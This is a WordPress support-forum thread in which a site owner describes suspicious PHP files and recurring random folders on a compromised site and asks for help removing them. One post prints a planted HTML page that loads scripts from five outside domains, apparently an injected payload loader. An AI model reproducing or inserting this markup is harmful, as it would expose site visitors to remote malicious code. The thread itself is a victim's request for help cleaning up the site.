WordPress.org

Ready to get started?Download WordPress

Forums

Possible malicious files found on my site (5 posts)

  1. brrainstormerr
    Member
    Posted 2 years ago #

    Hi,

    I received a few reports of some antivirus reporting my site as malicious. I immediately ran a few diagnostics checks (virustotal and google diagnostics) which reported my site to be clean. Following this I installed WebsiteDefender plugin for added measure.

    Now the plugin is reporting the following files as malicious:

    ...wp-table-reloaded/js/Swis721_BT_700.font.php (from the plugin WP Tables Reloaded)

    ...wp-admin/images/swfobject2.1.php

    ...wp-admin/css/rokutils.php

    Has someone come across such issues before, or if this is a false positive? I would like to have some opinion before deciding on deleting or uninstalling those files.

    Thanks,
    Chandan

  2. esmi
    Forum Moderator
    Posted 2 years ago #

  3. brrainstormerr
    Member
    Posted 2 years ago #

    Hi,

    to update further, i jut noticed there are several folders in my website root with fishy sounding names like "7nBsMT35", "11QBn104", "ER62VJ6h", "SJkDMFus" etc.

    I know there are not Wp files, so I tried deleting them but the seem to come right back again. Howz that happening? For the time being I deleted the contents of those folders and changed chmod permissions to 700. Hope that helps. A sample content on one o the files inside one such folder is:

    <html>
    <h1>WAIT PLEASE</h1>
     <h3>Loading...</h3>
     <script type="text/javascript" src="http://labarberia.com/j3hSNvAK/js.js"></script>
    <script type="text/javascript" src="http://ftp.nevykelis.lt/ighjzWzW/js.js"></script>
    <script type="text/javascript" src="http://onart.ro/3ji7nGi6/js.js"></script>
    <script type="text/javascript" src="http://pienparfume.com.tr/Sx2x2nJ3/js.js"></script>
    <script type="text/javascript" src="http://ftp1.commscon.it/s5xU3kVU/js.js"></script>
    
    </html>

    How do you suggest i get rid of this issue? My site: http://phonearenaindia.com

  4. esmi
    Forum Moderator
    Posted 2 years ago #

  5. brrainstormerr
    Member
    Posted 2 years ago #

    Thanks Esmi.

    I performed a malware test for my site on sucuri.net and unmaskparasites.com and they reported the site to be clean. Here are the results:

    http://www.UnmaskParasites.com/security-report/?page=phonearenaindia.com

    http://sitecheck.sucuri.net/results/phonearenaindia.com

    Anything else you recommend i do?

Topic Closed

This topic has been closed to new replies.

About this Topic